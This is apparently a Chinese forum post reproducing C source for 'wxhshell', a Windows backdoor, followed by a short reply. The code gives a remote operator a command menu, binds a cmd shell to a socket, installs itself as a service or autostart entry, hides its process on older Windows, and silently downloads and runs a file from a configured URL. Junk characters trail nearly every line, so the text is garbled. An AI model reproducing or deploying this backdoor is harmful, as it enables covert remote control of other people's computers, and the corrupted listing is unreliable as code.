  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n v ?u  
  else =TGa\iclpB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); );/p[Fd2]  
  } E{'Y>g B6  
  else { }U^iVq*  
Xf;_r+;  
    switch(cmd[0]) { V 7oE\cxr  
  vX?C9Fr2  
  // 帮助 d" =)=hm!  
  case '?': { )GfL?'Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sB*!Nf^y  
    break; v'Pbx  
  } Nh01NY;  
  // 安装 ?BX}0RWMh7  
  case 'i': { m f\tMik<  
    if(Install()) nKmf#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L=@8Z i!2<  
    else )+Yu7=S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |&MO us#v  
    break; z.!u<hy(  
    } 98maQQWD  
  // 卸载 Jz]OWb *  
  case 'r': { cK,&huk  
    if(Uninstall()) GM Y[Gd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Zo{D |hW  
    else n0FzDQt26  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ><C9PS@  
    break; ;> %wf3e  
    } gSHN,8. `  
  // 显示 wxhshell 所在路径 ,:{+-v(  
  case 'p': { mLV0J '  
    char svExeFile[MAX_PATH]; (~NR."s;  
    strcpy(svExeFile,"\n\r"); OD~yIV  
      strcat(svExeFile,ExeFile); dn&4 84  
        send(wsh,svExeFile,strlen(svExeFile),0); oT!i}TW?o  
    break; 3fUiYI|&7  
    } ~ Zw37C9J  
  // 重启 !iL6/  
  case 'b': { y[/:?O}g4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <OrQbrWQa  
    if(Boot(REBOOT)) Ri3*au/Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h^YUu`P  
    else { y J>Bc  
    closesocket(wsh); g'9~T8i& ^  
    ExitThread(0); v=daafO  
    } ,=[r6k<  
    break; y:Agmr,S  
    } Ih[k{p  
  // 关机 ltv ~Kh  
  case 'd': { ctPT=i60  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &"=O!t2  
    if(Boot(SHUTDOWN)) / <+F/R'=O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }&]T0U`@  
    else { tlYB'8bJY  
    closesocket(wsh); %Q=rm!Syv  
    ExitThread(0); `*xSn+wL`_  
    } lSy_cItF  
    break; &{bNa:@  
    } (/S6b  
  // 获取shell 9 RC:-d;;_  
  case 's': { F jW%M;H  
    CmdShell(wsh); :|-^et]a8  
    closesocket(wsh); I/zI\PP,  
    ExitThread(0); #@ F   
    break; RLO<5L  
  } @cQ |`  
  // 退出 BnG{) \s  
  case 'x': { ($!g= 7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;)vs=DK:)  
    CloseIt(wsh); 4O4}C#6(4  
    break; )"g @"LJ=  
    } 8mC$p6Okd  
  // 离开 (S_1C,  
  case 'q': { t1p[!53(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CQA^"Ll  
    closesocket(wsh); Hn]6re  
    WSACleanup(); ItE)h[86  
    exit(1); @>F`;'_*z  
    break; !>fi3#Fi  
        } [7l5p(=  
  } v?o("I[ C  
  } pIPjTQ?cq  
Gb.}af#v  
  // 提示信息 ^Yo2R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pa{bkr  
} ?{~. }Vn  
  } =j@8/  
K,!f7KKo  
  return; [9Hrpo]tU:  
} o}Zl/&(  
u"(2Xer  
// shell模块句柄 zX8{(  
int CmdShell(SOCKET sock) b(A;mt#N  
{ ^oEaE#I  
STARTUPINFO si; ~g *`E!2  
ZeroMemory(&si,sizeof(si)); /+m7J"Km  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0{u#{_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BQ {'r^u  
PROCESS_INFORMATION ProcessInfo; R4XcWx*pQ  
char cmdline[]="cmd"; 5 HN,y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &>Z p}.V  
  return 0; mFyYn,Mu|  
} N8Un42  
`nL^]i  
// 自身启动模式 S/6I9zOP  
int StartFromService(void) XRn+6fn|  
{ a61?G!]  
typedef struct Q[bIkvr|  
{ }S9uh-j6l  
  DWORD ExitStatus; h=_h,?_  
  DWORD PebBaseAddress; _2eL3xXha.  
  DWORD AffinityMask; *B+YG^Yu^  
  DWORD BasePriority; !< ^`Sx/+  
  ULONG UniqueProcessId; |RI77b:pX  
  ULONG InheritedFromUniqueProcessId; 7T?7KS  
}   PROCESS_BASIC_INFORMATION; P#2;1ki>  
X6oY-4O  
PROCNTQSIP NtQueryInformationProcess; ?D]T| =EZY  
#Y>d@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w*AXD!}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @_?8I_\:  
tUs{/Je  
  HANDLE             hProcess; ]K%D$x{+\  
  PROCESS_BASIC_INFORMATION pbi; (d-j/v*4  
`=#ry*E^:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |9 4xRC  
  if(NULL == hInst ) return 0; nmrdqSV  
<~Tfi*^+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7@i2Mz/eV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [oS.B\Vc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }u~r.=  
y{\(|j  
  if (!NtQueryInformationProcess) return 0; )h(yh50 B  
g$S<_$Iey  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U=UnE"h  
  if(!hProcess) return 0; Xu\22/Co  
LWP&Si*j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q8vRUlf  
[>f4&yY  
  CloseHandle(hProcess); @0rwvyE=+3  
3WF6bJN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _xXDvBU  
if(hProcess==NULL) return 0; _:l<4u !  
HltURTbI  
HMODULE hMod; ,_yf5 a  
char procName[255]; As*59jkB  
unsigned long cbNeeded; Q_n9}LanP  
R P6R1iN3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); siGt5RH*  
&MF%zJ6  
  CloseHandle(hProcess); 5P <  F  
!yX4#J(  
if(strstr(procName,"services")) return 1; // 以服务启动 pmi`Er  
mH09* Z  
  return 0; // 注册表启动 %D}]Z=gp  
} AT,?dxP J  
c95{Xy  
// 主模块 %Tv^BYQAZ  
int StartWxhshell(LPSTR lpCmdLine) [KjL`  
{ @g'SH:}  
  SOCKET wsl; @y`7csb p  
BOOL val=TRUE; =9vmRh? 8  
  int port=0; ~0@+8%^>;  
  struct sockaddr_in door; T1r^.;I:  
Fh$Xcz~i  
  if(wscfg.ws_autoins) Install(); ^!>o5Y)  
@uI_4a  
port=atoi(lpCmdLine); v:$Y |mh  
jP|(y]!  
if(port<=0) port=wscfg.ws_port; \muC_9ke  
)|@UY(VZ^  
  WSADATA data; nxh9'"th  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  ~WG#Zci-  
p![CH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rhe;j//`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c\pPwG  
  door.sin_family = AF_INET; Sud5F4S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j8gi/07l  
  door.sin_port = htons(port); 1~#p3)B  
?QXo]X;f&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D2}nJFR ]  
closesocket(wsl); {CR'Z0  
return 1; /0H39]y!~  
} xN#. Pm~  
B]YY[i  
  if(listen(wsl,2) == INVALID_SOCKET) { $?u ^hMU=  
closesocket(wsl); y(RK|r  
return 1; 0Ie9T1D=  
} ,HdFE|  
  Wxhshell(wsl);  =j1rw  
  WSACleanup(); Zj8aD-1]U^  
ul$YV9 [\  
return 0; ,fwN_+5  
?pv}~>  
} DHV#PLbN$  
T9+ ?A l  
// 以NT服务方式启动 KwiTnP!Dca  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KD7 RI3'?  
{ cTeEND)  
DWORD   status = 0; It@ak6u?  
  DWORD   specificError = 0xfffffff; O2Mo ~}  
bu#}`/\_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ( U |[C*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UC34AKm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Py8<db%  
  serviceStatus.dwWin32ExitCode     = 0; J$?*qZ(oO  
  serviceStatus.dwServiceSpecificExitCode = 0; 8vcV-+x  
  serviceStatus.dwCheckPoint       = 0; {>c O&eiCt  
  serviceStatus.dwWaitHint       = 0; ivbuS-f =r  
Whq@>pX8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ymBevL  
  if (hServiceStatusHandle==0) return; ` `A=p<W  
rs R0V+(W  
status = GetLastError(); !s]LWCX+|  
  if (status!=NO_ERROR) ?b~Vuo  
{ j9za)G-J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xo*=iD$Jys  
    serviceStatus.dwCheckPoint       = 0; 1v4(  
    serviceStatus.dwWaitHint       = 0; e/m ,PE  
    serviceStatus.dwWin32ExitCode     = status; h+x"?^   
    serviceStatus.dwServiceSpecificExitCode = specificError; x.+}-(`W#~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5"5D(  
    return; ( {H5k''  
  } Rt<8 &.m4  
t "J"G@1)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zZ|Si  
  serviceStatus.dwCheckPoint       = 0; 1;[\xqJ  
  serviceStatus.dwWaitHint       = 0; o~F @1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q@p-)+D;  
} ! \H!9FR  
vb}; _/ #?  
// 处理NT服务事件,比如:启动、停止 ?s("@dz_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |.Bb Pfe8f  
{ >'@yq  
switch(fdwControl) 3I?? K)Yl  
{ _1`*&k JL~  
case SERVICE_CONTROL_STOP: Z2WAVSw  
  serviceStatus.dwWin32ExitCode = 0; Poacd;*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rs3Uk.Z^ '  
  serviceStatus.dwCheckPoint   = 0; M? oK@i  
  serviceStatus.dwWaitHint     = 0; EW{z?/  
  { +xwz.:::  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ho_;;y  
  } !c\d(u  
  return;  )>Oip  
case SERVICE_CONTROL_PAUSE: +'?p $@d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :xfD>K  
  break; tZ[Y~],F  
case SERVICE_CONTROL_CONTINUE: Gv}*T w$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oQ 5g0(J~  
  break; {b>tX)Tep  
case SERVICE_CONTROL_INTERROGATE: Te~"\`omJ3  
  break; a $g4 )0eS  
}; d(w $! $"h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u7&r'rZ1_!  
} -L6 rXQV@j  
a4X J0Tm  
// 标准应用程序主函数 mk1;22o{TX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H>e?FDs0*R  
{ F9ry?g=h  
x{C=rdp__  
// 获取操作系统版本 ?MuM _6  
OsIsNt=GetOsVer(); qu8i Jq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); REhXW_x  
Ix%h /=I  
  // 从命令行安装 LKG],1n-  
  if(strpbrk(lpCmdLine,"iI")) Install(); FK{ YRt  
~!'%m(g  
  // 下载执行文件 -,et. *  
if(wscfg.ws_downexe) { (j+C&*u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7ju7QyR  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gu<3*@Ng  
} %FQMB  
%lV&QQa  
if(!OsIsNt) { %L{H_;z  
// 如果时win9x,隐藏进程并且设置为注册表启动 j_\sdH*r  
HideProc(); {SW104nb&#  
StartWxhshell(lpCmdLine); |,5b[Y"Dt  
} 4-=>># P  
else \w^iSK-  
  if(StartFromService()) X",fp  
  // 以服务方式启动 %WCA?W0:4  
  StartServiceCtrlDispatcher(DispatchTable); Vf*!m~]Vqi  
else "tUXYY  
  // 普通方式启动 ;'dw`)~jQ  
  StartWxhshell(lpCmdLine); X(1nAeQ  
s'ntf  
return 0; ,v$gQU2  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五